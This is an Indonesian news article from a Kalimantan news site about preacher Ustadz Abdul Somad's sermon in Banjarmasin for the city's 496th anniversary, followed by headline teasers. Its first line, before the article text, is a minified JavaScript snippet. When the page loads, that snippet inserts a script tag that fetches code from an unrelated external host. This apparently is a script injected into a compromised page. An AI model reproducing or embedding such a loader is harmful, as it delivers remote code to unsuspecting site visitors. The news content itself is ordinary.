(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pendakwah kondang Ustadz Abdul Somad (UAS) melaksanakan safari dakwahnya ke Kalimantan Selatan, salah satunya ke Kota Banjarmasin pada Kamis (1/9/2022) malam.
Safari dakwah dilaksanakan di Mesjid Ar Raudhah Sungai Andai Kota Banjarmasin dengan dihadiri ribuan jamaah yang memadati komplek masjid. Tabligh akbar juga dihadir Wali kota Banjarmasin H Ibnu Sina bersama Wakil Wali kota, Ketua DPRD, Forkopimda, dan juga jajaran SKPD Banjarmasin.
UAS dalam ceramahnya mengatakan kepada jamaah bahwa dirinya senang bisa kembali menjejakkan kaki di kota seribu sungai. Dirinya juga mengatakan bahwa tidak pernah ada penolakan dari masyarakat Kalsel, khususunya Banjarmasin selama dirinya menjalani Safari Dakwah.
“Dari pengalaman keliling, belum pernah ada daerah di Banjarmasin ini yang menolak dengan baliho, dengan caci maki, dengan sumpah serapah, tidak ada heters,” ungkapnya.
Baca juga:Â AWAS. Mikro Plastik Kontaminasi Air dan Ikan di Aliran Sungai Barito!
“Bahkan di kampung sendiri pun saya pernah ditolak, dan dikampung istri saya sendiri pun sempat juga ditolak pakai baliho dengan tulisan “ustadz radikal”, tapi di Banjarmasin belum pernah ada yang seperti itu mencacai maki saya,” tambahnya.
Sebelum tabligh akbar tersebut UAS terlebih dahulu dijamu oleh Walikota Banjarmaisn di rumah dinas bersama Forkopimda untuk silaturahmi dan makan soto Banjar khas Kalimantan Selatan.
UAS berpesan kepada jamaah yang hadir untuk para generasi muda kota Banjarmasin mengikuti jejak Syekh Muhammad Arsyad Al-Banjari yang menuntut ilmu di Mekkah jauh dari kampung halaman.
“Kalau kita mau iman tetap diwarisi oleh mereka, jangan takut mengrim untuk belajar ke Al Azhar, Tarim, terbanglah sejauh mata memandang kau akan kembali pulang untuk menjaga negri ini tetap Baiman,” katanya.
Meskipun sempat diguyur hujan lebat pada sore hari dan jalanan menjadi basah, tidak menyrurutkan jamaah untuk menyaksikan tabligh Akbar di masjid Raudhah Sungai Andai tersebut.
Ibnu Sina mengatakan bahwa pihaknya sengaja mendatangkan UAS untuk mengisi tablig akbar dalam rangka peringatan HUT Kota Banjarmasin yang ke-496 tahun dengan tema Baiman, Bauntung, Batuah.
Baca juga:Â 4.239 Botol Miras Hasil Operasi Dimusnahkan Polresta Banjarmasin
“Agar Banjarmasin menjadi kota yang Baiman, Bauntung hidup ekonomi masyarakatnya, dan Batuah harkat martabat,” kata Walikota.
UAS menutup tabligh akbarnya dengan mengatakan ada 3 syarat untuk mendapatkan barokah yaitu Baiman Bauntung Batuah sebagaiman tema HUT Kota Banjarmasin yang ke-496.(kanalkalimantan.com/rizki)
Reporter: rizki
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.